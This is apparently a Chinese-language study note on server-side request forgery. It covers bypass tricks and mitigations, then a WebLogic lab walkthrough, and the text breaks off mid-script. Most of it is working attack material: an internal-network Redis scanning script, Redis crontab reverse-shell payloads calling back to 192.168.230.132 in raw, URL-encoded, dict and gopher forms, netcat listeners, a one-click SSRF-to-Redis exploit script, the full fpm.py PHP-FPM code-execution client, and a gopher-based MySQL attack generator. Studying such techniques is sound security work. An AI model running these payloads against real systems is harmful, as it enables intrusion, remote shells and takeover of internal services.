SSRF 跨站请求伪造学习笔记
参考文章:
了解SSRF,这一篇就足够了
SSRF 学习之路
SSRF绕过方法总结
Weblogic SSRF漏洞
What-是什么
SSRF(Server-Side Request Forgery)服务器端请求伪造。与 CSRF 不同的是,SSRF 针对的是从外部无法访问的服务器所在的内网,并对其进行探测、攻击。
服务器端请求伪造,简单来说,就是服务器端代替用户向目标网址发起请求,当目标地址为服务器内网时,便造成了 SSRF。
可造成的危害有:
- 内网主机端口探测(cms识别)
- 任意文件读取
- 攻击内网、getshell
- 等等
Where-在哪里
- 添加图片地址
- 添加 url
- 一些在线服务,如:爬虫、网页分享(获取摘要)等等
- XXE 漏洞也可以造成 SSRF
- 远程文件包含也可造成 SSRF
- 各种 api 接口
- url 中的关键字有:share、wap、url、link、src、source、target、display、sourceURl、imageURL、domain·······
Why-为什么
服务器端代替用户发起请求时没有对目标地址做过滤与限制,或者说容易被绕过
How-怎么用
内网主机、端口探测
- 127.0.0.1:6379
- 192.168.x.x (写脚本或者 BURP 批量跑)
文件读取
- file:///etc/passwd
- dict、gopher、ftp 等协议进行请求访问相应的文件
协议有:
协议 | PHP | JAVA | curl | Perl | ASP.NET |
---|---|---|---|---|---|
http | √ | √ | √ | √ | √ |
https | √ | √ | √ | √ | |
gopher | 编译时使用--with-curlwrappers | JDK≤1.7 | version≤7.49.0 不支持 | √ | version≤3 支持 |
tftp | 编译时使用--with-curlwrappers | × | version≤7.49.0 不支持 | × | × |
dict | 编译时使用--with-curlwrappers | × | √ | × | × |
file | √ | √ | √ | √ | √ |
ftp | √ | √ | √ | √ | √ |
imap | 编译时使用--with-curlwrappers | × | √ | √ | × |
pop3 | 编译时使用--with-curlwrappers | × | √ | √ | × |
rtsp | 编译时使用--with-curlwrappers | √ | √ | √ | √ |
smb | 编译时使用--with-curlwrappers | √ | √ | √ | √ |
smtp | 编译时使用--with-curlwrappers | × | √ | × | × |
telnet | 编译时使用--with-curlwrappers | × | √ | × | × |
ssh2 | 开启allow_url_fopen | × | × | 受限于Net:SSH2 | × |
ogg | 开启allow_url_fopen | × | × | × | × |
except | 开启allow_url_fopen | × | × | × | × |
ldap | × | × | × | √ | × |
php | √ | × | × | × | × |
zip/bzip2/zlib | 开启allow_url_fopen | × | × | × | × |
Advanced-提升
内网探测时突破限制:
IP/URL白名单
- 找白名单域内的任意url跳转漏洞
黑名单
摘抄自:SSRF绕过方法总结
测试代码:<?php
echo($_GET["url"]);
echo("<br><hr>");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
echo($output);
curl_close($ch);
?>
- 利用进制转换:
127.0.0.1
:(这里测试代码未成功,但是浏览器上可行)- 十进制:
http://2130706433/
- 八进制:
http://017700000001/
、http://0177.0.0.1/
- 十六进制:
http://0x7F000001
- 十进制:
- 利用
localhost
:http://localhost:80
-------------->http://127.0.0.1:80
- 利用
[::]
:http://[::]:80
-------------->http://127.0.0.1
(测试代码未成功,但是浏览器上可行) - 利用
@
:http://example.com@127.0.0.1
--------------> 实际访问的是127.0.0.1
- 利用短网址:
https://w.url.cn/s/AOSEXc2
--------------> 对应解析为:http://127.0.0.1
- 利用
xip.io
DNS解析:http://xxx.127.0.0.1.xip.io
-------------->xxx
可有可无,对应解析为:http://127.0.0.1
- 利用域名解析:将自己的域名例如:
xxx.com
绑定其 ip 为:127.0.0.1
等内网地址 - 利用
Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
- 利用句号 。:
127。0。0。1
-------------->127.0.0.1
- 利用特殊地址:
http://0/
(测试代码未成功,浏览器上也不可行) - ipv6
- 利用各种协议及注意点
- 常用的协议: gopher dict http https ftp file
- java ssrf:jdk8 后就不支持 gopher
- php-file_get_contents:只支持 php 内置的协议 不支持 gopher dict
- php-libcurl:支持的协议最全, gopher dict 都可以用
- php-xxe:支持的协议跟 file_get_contents 一样
- 利用进制转换:
Solutions-解决的办法
- 设置 URL 白名单
- 统一返回信息
- 限制协议仅为 http/https,限制端口
- ······
Steps-测试流程
寻找一些跟添加 url 有关的功能点
发包、抓包,观察 GET 参数或者 POST 参数中的参数有无特征参数,并且参数值为 URL 网址
更改其中的 URL 的值后发包,对比正常请求,观察返回包长度、返回码、返回信息、响应时间以及是否有响应,不同则可能存在SSRF漏洞
也可以将其中的 URL 的值改为自己的远程主机,并在主机上开启监听。当监听到该网址发送过来的请求时,则可能存在SSRF漏洞
尝试绕过过滤规则,实现内网探测、攻击,比如说 redis 未授权访问拿 shell 等
利用 file:// 协议,则可进行任意文件读取,进一步利用拿 shell 等
Example-实例
环境
:
操作
:
- 访问存在 SSRF 漏洞的页面
http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
点击 search ,抓包,发送到 Repeater 模块,修改 operator 参数
- 首先填写一个外网,如
http://www.baidu.com
,会提示Received a response from url: http://www.baidu.com which did not have a valid SOAP content-type: text/html
很明显,服务器是访问了百度,并且告知客户端其接收到了一个包含content-type: text/html
的响应- 然后访问一个本机开启的端口,如
http://127.0.0.1:7001
,返回结果跟我们用浏览器访问是一样的,一般返回状态码,如404
,也可能返回跟访问外网一样的结果
- 再访问一个未开启的端口,如
http://127.0.0.1:8888
,返回could not connect over HTTP to server
- 当访问一些不走 http 协议并且开启了的端口时,会返回
Received a response from url: http://172.21.0.2:6379 which did not have a valid SOAP content-type: null
这里访问的是内网中 redis 服务器,获取 redis ip:
docker exec -it 容器id ip addr
- 首先填写一个外网,如
这里假设的是已知内网 redis 服务器 IP,当然也可以写脚本跑
由于这里 POST 请求可以改成 GET,于是可以简单写一下脚本
import requests
for i in range(1,254):
for j in range(1,254):
for k in range(1,254):
url = "http://192.168.230.132:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.{c}.{b}.{a}:6379".format(a=i,b=j,c=k)
try:
r = requests.get(url, timeout=1)
rep = r.text
except:
rep = ''
print("172.%s.%s.%s:6379" %(k,j,i))
if "SOAP" in rep:
print("172.%s.%s.%s:6379 is open!" %(k,j,i))
exit(0)
# 等到我这垃圾脚本跑出来,基本上漏洞已经被修复了
- 构造 redis 反弹 shell 命令
test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.230.132/1234 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa
url编码得到:
(注意这里换行要替换为: %0d%0a,而不是 %0a%0a,我一开始直接用的 URL 编码工具全给我编码成 %0a%0a 了,导致一直不成功,弄得我人傻了,一直反弹 shell 失败)
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.230.132%2F1234%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
至于为什么要将换行符编码为 %0d%0a
:
redis 服务是通过换行符来分隔每条命令,我们可以通过传入%0d%0a
来注入换行符,也就说我们可以通过该 SSRF 攻击内网中的 redis 服务器
- 在攻击机上开启 nc 监听
nc -lvvvp 1234
将 operator 值改为 url 编码后的命令,发包
看到 nc 上得到反弹的shell
一些常用在 SSRF 中的协议以及 SSRF 还能做什么
参考文章:
Fastcgi 协议分析 && PHP-FPM 未授权访问漏洞 && Exp 编写
利用 Gopher 协议拓展攻击面
SSRF漏洞中使用到的其他协议
SSRF in PHP
SSRF 攻击内网应用
常用协议
- file://
不用多说,file 协议用来读取本地文件,如 operator=file:///etc/passwd
,可以看看这篇文章,通过 file 协议进一步拿 shell。
- gopher://
当探测内网或执行命令时需要发送 POST 请求,我们便可以利用 gopher 协议
协议格式:gopher://<host>:<port>/<gopher-path>
,这里的gopher-path
就相当于是发送的请求数据包
特性:当使用 gopher 协议时,gopher-path
的第一个字符会被吞噬,所以我们在发送请求时要注意这一点
注意点:CRLF(换行) 需要双重 URL 编码,即%250d%250a
- 发送 GET 请求
gopher://192.168.1.107:80/_GET%20/%20HTTP1.1%250d%250aHost:%20192.168.1.107
- 发送 POST 请求
gopher://192.168.1.107:80/_POST%20/%20HTTP1.1%250d%250aHost:%20192.168.1.107%250d%250a%250d%250aurl=http://baidu.com
- dict://
dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,能用来探测端口的指纹信息
协议格式:dict://<host>:<port>/<dict-path>
一般为:dict://<host>:<port>/info
探测端口应用信息
执行命令:dict://<host>:<port>/命令:参数
冒号相当于空格,在 redis 利用中,只能利用未授权访问的 redis
与 gopher 不同的是,使用 dict 协议并不会吞噬第一个字符,并且会多加一个 quit 字符串,自动添加 CRLF 换行
其他的与 gopher 没有太大差别
在 redis 未授权访问中,当传输命令时,dict 协议的话要一条一条的执行,而 gopher 协议执行一条命令就行了,所以一般 dict 协议只是当个备胎用
而且在传输命令时,若命令中有空格,则该命令需要做一次十六进制编码
大佬的脚本:
cmd = "\n\n* * * * * root bash -i >& /dev/tcp/192.168.230.132/1234 0>&1\n\n"
cmd_encoder = ""
for single_char in cmd:
cmd_encoder += hex(ord(single_char).replace("0xa","0x0a").replace("0x","\\\\x"))
print(cmd_encoder)
所以执行的命令为,当在浏览器中执行时,需要再进行一次 url 编码
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.230.132/1234 0>&1\n\n\n\n"
对应
dict://172.2.0.2:6379/set:1:\"十六进制编码\"
config set dir /etc/
对应:
dict://172.2.0.2:6379/config:set:dir:/etc/
config set dbfilename crontab
对应:
dict://172.2.0.2:6379/config:set:dbfilename:crontab
save
对应:
dict://172.2.0.2:6379/save
大佬的一键式 ssrf + redis + dict 利用脚本
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib2,urllib,binascii
url = "http://192.168.0.109/ssrf/base/curl_exec.php?url=" # 存在 ssrf 的 url
target = "dict://192.168.0.119:6379/" # redis 服务器地址
cmds = ['set:mars:\\\\"\\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\\n\\\\"', # shell接收地址与端口号
"config:set:dir:/etc/",
"config:set:dbfilename:crontab",
"bgsave"]
for cmd in cmds:
cmd_encoder = ""
for single_char in cmd:
# 先转为ASCII
cmd_encoder += hex(ord(single_char)).replace("0x","")
cmd_encoder = binascii.a2b_hex(cmd_encoder)
cmd_encoder = urllib.quote(cmd_encoder,'utf-8')
payload = url + target + cmd_encoder
print payload
request = urllib2.Request(payload)
response = urllib2.urlopen(request).read()
- redis 中的 RESP 协议
RESP 协议是 redis 服务之间数据传输的通信协议,redis 客户端和 redis 服务端之间通信会采取 RESP 协议
例如:
*1
$8
flushall
*3
$3
set
$1
1
$64
*/1 * * * * bash -i >& /dev/tcp/192.168.230.132/1234 0>&1
*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
quit
其中
*n
代表着一条命令的开始,n 表示该条命令由 n 个字符串组成$n
代表着该字符串有 n 个字符
于是便也可以直接利用 gopher 协议反弹 shell,注意各行命令仍旧用 %0d%0a
做分隔:
?operator=gopher%3a%2f%2f172.21.0.2:6379%2f_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*%2f1%20*%20*%20*%20*%20bash%20-i%20>& %2fdev%2ftcp%2f192.168.230.132%2f1234%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a%2fvar%2fspool%2fcron%2f%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
此时利用 gopher 协议的局限性有: 摘自利用 Gopher 协议拓展攻击面
大部分 PHP 并不会开启 fopen 的 gopher wrapper
file_get_contents 的 gopher 协议不能 URLencode
file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
PHP 的 curl 默认不 follow 302 跳转
curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用
攻击其他应用
- SSRF 攻击 FastCGI
大佬文章:Fastcgi 协议分析 && PHP-FPM 未授权访问漏洞 && Exp 编写
前提条件:
- PHP-FPM 监听端口
- PHP-FPM 版本 >= 5.3.3
- libcurl 版本>= 7.45.0(curl 版本小于 7.45.0 时,gopher 的 %00 会被截断)
- 知道服务器上任意一个 php 文件的绝对路径,例如 /usr/local/lib/php/PEAR.php
利用脚本:phith0n/fpm.py
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))
具体操作:
- 监听一个端口,并将内容输出
- nc -lvv 2333 > 1.txt
- 利用上述脚本
python fpm.py -c "想执行的php代码" -p 2333 127.0.0.1 /usr/local/nginx/html/p.php
- 将 nc 监听的结果转码并转换为 gopher 协议
- 脚本如下:
from urllib import quote payload = ""
ip = "172.21.0.2:9000" # fastCGI的内网ip及端口
with open('1.txt') as f:
payload = f.read()
payload += "gopher://" + ip +"/_" + quote(payload)
print(payload)
- 在存在 SSRF 的点注入即可
?operator=payload
- SSRF 攻击 MySQL
当可以无密码登陆 mysql 时,便可以利用 gopher 协议对其进行攻击
方法一:
利用脚本:mysql_gopher_attack
#!/usr/bin/env python
# coding=utf-8
from socket import *
from struct import *
from urllib2 import quote,unquote
import sys
import hashlib
import argparse
def hexdump(src, title, length=16):
result = []
digits = 4 if isinstance(src, unicode) else 2
for i in xrange(0, len(src), length):
s = src[i:i + length]
hexa = b''.join(["%0*X" % (digits, ord(x)) for x in s])
hexa = hexa[:16]+" "+hexa[16:]
text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])
result.append(b"%04X %-*s %s" % (i, length * (digits + 1), hexa, text))
print title
print(b'\n'.join(result))
print '\n'
def create_zip(filename, content_size):
content = '-'*content_size
filename = pack('<%ds'%len(filename), filename)
content_len_b = pack('<I', len(content))
filename_len_b = pack('<H', len(filename))
local_file_header = b"\x50\x4b\x03\x04\x0a\x00"+"\x00"*12
local_file_header += content_len_b*2
local_file_header += filename_len_b
local_file_header += "\x00\x00"
local_file_header += filename
cd_file_header = b"\x50\x4b\x01\x02\x1e\x03\x0a\x00"+"\x00"*12+filename_len_b+"\x00"*16+filename
cd_file_header_len_b = pack("<I", len(cd_file_header))
offset = pack("<I",len(local_file_header+cd_file_header))
eof_record = b"\x50\x4b\x05\x06"+"\x00"*4+"\x01\x00"*2+cd_file_header_len_b+offset+"\x00\x00"
#return each party of zip
return [local_file_header,content,cd_file_header+eof_record]
class Protocal:
last_packet_index = 0
connect_status = 0 #mark last connection is finish or no
login_packet = ''
def __init__(self, host, port, username, password, database):
self.username = username
self.password = password
self.database = database
self.host = host
self.port = port
def __unpack(self, data):
length = unpack('I', data[:3]+b'\x00')
self.last_packet_index = unpack('B', data[3:4])[0]
if len(data)-4 != length[0]:
print '[-] packet parse error, except lengt {} but {}'.format(length[0], len(data))
sys.exit(1)
return data[4:];
def __pack(self, data):
if self.connect_status == 0:
self.last_packet_index += 1
elif self.connect_status == 1:
self.last_packet_index = 0
header = len(data)
header = pack('<I', len(data))[:3]+pack('B', self.last_packet_index)
return header+data
def __parse_handshake(self, data):
if DEBUG:
hexdump(data,'server handshake')
data = self.__unpack(data)
protocolVersion = unpack('B', data[:1])
svLen = 0
for byte in data[1:]:
svLen += 1
if byte == b'\x00':
break;
serverVersion = data[1:svLen]
threadId = unpack('I', data[svLen+1:svLen+5])
scramble = unpack('8B', data[svLen+5:svLen+13])
serverEncode = unpack('B',data[svLen+16:svLen+17])
scramble += unpack('12B', data[svLen+32:svLen+44])
scramble = ''.join([chr(i) for i in scramble])
packet = {
'protocolVersion':protocolVersion[0],
'serverVersion':serverVersion[0],
'threadId':threadId[0],
'scramble':scramble,
'serverEncode':serverEncode[0]
}
return packet
def encode_password(self, password, scramble):
if password:
stage1_hash = self.__sha1(password)
token = self.xor_string(self.__sha1(scramble+self.__sha1(stage1_hash)), stage1_hash)
return token
else:
return ""
def xor_string(self, str1, str2):
r = ''
for x,y in zip(str1, str2):
r += chr(ord(x)^ord(y))
return r
def __sha1(self, data):
m = hashlib.sha1()
m.update(data)
return m.digest()
def get_client_capabilities(self):
CLIENT_LONG_PASSWORD = 0x0001
CLIENT_FOUND_ROWS = 0x0002
CLIENT_LONG_FLAG = 0x0004
CLIENT_CONNECT_WITH_DB = 0x0008
CLIENT_ODBC = 0x0040
CLIENT_IGNORE_SPACE = 0x0100
CLIENT_PROTOCOL_41 = 0x0200
CLIENT_INTERACTIVE = 0x0400
CLIENT_IGNORE_SIGPIPE = 0x1000
CLIENT_TRANSACTIONS = 0x2000
CLIENT_SECURE_CONNECTION = 0x8000
flag = 0;
flag = flag|CLIENT_LONG_PASSWORD|CLIENT_FOUND_ROWS|CLIENT_LONG_FLAG|CLIENT_CONNECT_WITH_DB|CLIENT_ODBC|CLIENT_IGNORE_SPACE|CLIENT_PROTOCOL_41|CLIENT_INTERACTIVE|CLIENT_IGNORE_SIGPIPE|CLIENT_TRANSACTIONS|CLIENT_SECURE_CONNECTION;
return pack('I', flag);
def __write(self, data):
return self.sock.send(data)
def __read(self, lentgh):
return self.sock.recv(lentgh)
def __get_login_packet(self, scramble):
packet = ''
packet += self.get_client_capabilities() #clientFlags
packet += pack('I', 1024*1024*16) #maxPacketSize
packet += b'\x21' #charset 0x21=utf8
packet += b'\x00'*23
packet += self.username+b'\x00'
passowrd = self.encode_password(self.password, scramble)
packet += chr(len(passowrd))+passowrd
packet += self.database + b'\x00'
packet = self.__pack(packet)
return packet
def execute(self, sql):
packet = self.__pack(b'\x03'+sql)
if DEBUG:
hexdump(packet, 'execute request packet')
self.__write(packet)
response = self.__read(1000)
if DEBUG:
hexdump(response, 'execute result packet')
return response
def __login(self, scramble):
packet = self.__get_login_packet(scramble);
if DEBUG:
hexdump(packet, 'client login packet:')
self.__write(packet);
response = self.__read(1024)
responsePacket = self.__unpack(response)
self.connect_status = 1;
if responsePacket[0] == b'\x00':
print '[+] Login Success'
else:
print '[+] Login error, reason:{}'.format(responsePacket[4:])
if DEBUG:
hexdump(response, 'client Login Result packet:')
def get_payload(self, _sql, size, verbose):
if _sql[-1] == ';':
_sql = _sql[:-1]
# zipFile = create_zip('this_is_the_flag', size)
# sql = 'select concat(cast({pre} as binary), rpad(({sql}), {size}, \'-\'), cast({suf} as binary))'.format(pre='0x'+zipFile[0].encode('hex'), sql=_sql, size=size, suf='0x'+zipFile[2].encode('hex'))
sql = _sql
if verbose:
print 'sql: ',sql
login_packet = self.__get_login_packet('')
self.connect_status = 1;
packet = self.__pack(b'\x03'+sql)
return login_packet + packet
def connect(self):
try:
self.sock = socket(AF_INET, SOCK_STREAM)
self.sock.connect((self.host, int(self.port)))
except Exception,e:
print '[-] connect error: {}'.format(str(e))
return
handshakePacket = self.__read(1024)
handshakeInfo = self.__parse_handshake(handshakePacket);
self.__login(handshakeInfo['scramble'])
parser = argparse.ArgumentParser(description='generate payload of gopher attack mysql')
parser.add_argument("-u", "--user", help="database user", required=True)
parser.add_argument("-d", "--database", help="select database", required=True)
parser.add_argument("-t", "--target", dest="host", help="database host", default="127.0.0.1")
parser.add_argument("-p", "--password", help="database password default null", default="")
parser.add_argument("-P", "--payload", help="the sql you want to execute with out ';'", required=True)
parser.add_argument("-v", "--verbose", help="dump details", action="store_true")
parser.add_argument("-c", "--connect", help="connect your database", action="store_true")
parser.add_argument("--sql", help="print generated sql", action="store_true")
if __name__ == '__main__':
args = parser.parse_args()
DEBUG = 0
if args.verbose:
DEBUG = 1
#default database user m4st3r_ov3rl0rd
protocal = Protocal(args.host, '3306', args.user, args.password, args.database)
if args.connect:
protocal.connect()
result = protocal.execute(args.payload)
print '-'*100
print '| sql:',args.payload,'|'
print '-'*100
print 'Result: ',result
print '-'*100
payload = protocal.get_payload(args.payload, 1000, args.verbose)+'\x00'*4
print '\nPayload:'
print ' '*5,'gopher://127.0.0.1:3306/A'+quote(payload)
参数:
-u 数据库用户
-d 数据库名称
-t 指定数据库
-p 指定数据库密码,默认为空,一般默认就好
-P 要执行的 sql 语句
-v 下载执行细节
-c 连接到数据库
--sql 打印生成的 sql 语句
一般用python exploit.py -u 用户 -d 数据库 -P "命令"
就好了,然后用生成的 payload 打就行了,便可以在网页看到数据库命令执行结果
注意这里的操作需要在 SSRF 的地方有回显才行,不然看不到数据库执行结果,但是如果数据库有写权限,那么便可以直接写 shell,不一定要回显
方法二:
在本地创建一个跟目标机器一样用户的数据库例如 test
打开 tcpdump 抓取流量
tcpdump -i l0 port 3306 -w mysql.pcap
登陆数据库并执行命令:
- mysql -utest -p
- show databases;
- exit;
然后用 wireshark 追踪一下 tcp 流
用脚本转换一下
#!/usr/bin/env python2
# coding: utf-8
import urllib
s = """这里写抓取的 tcp 流数据"""
s = "".join(s.split())
def encode(s):
a = [s[2*i:2*i+2] for i in xrange(len(s)/2)]
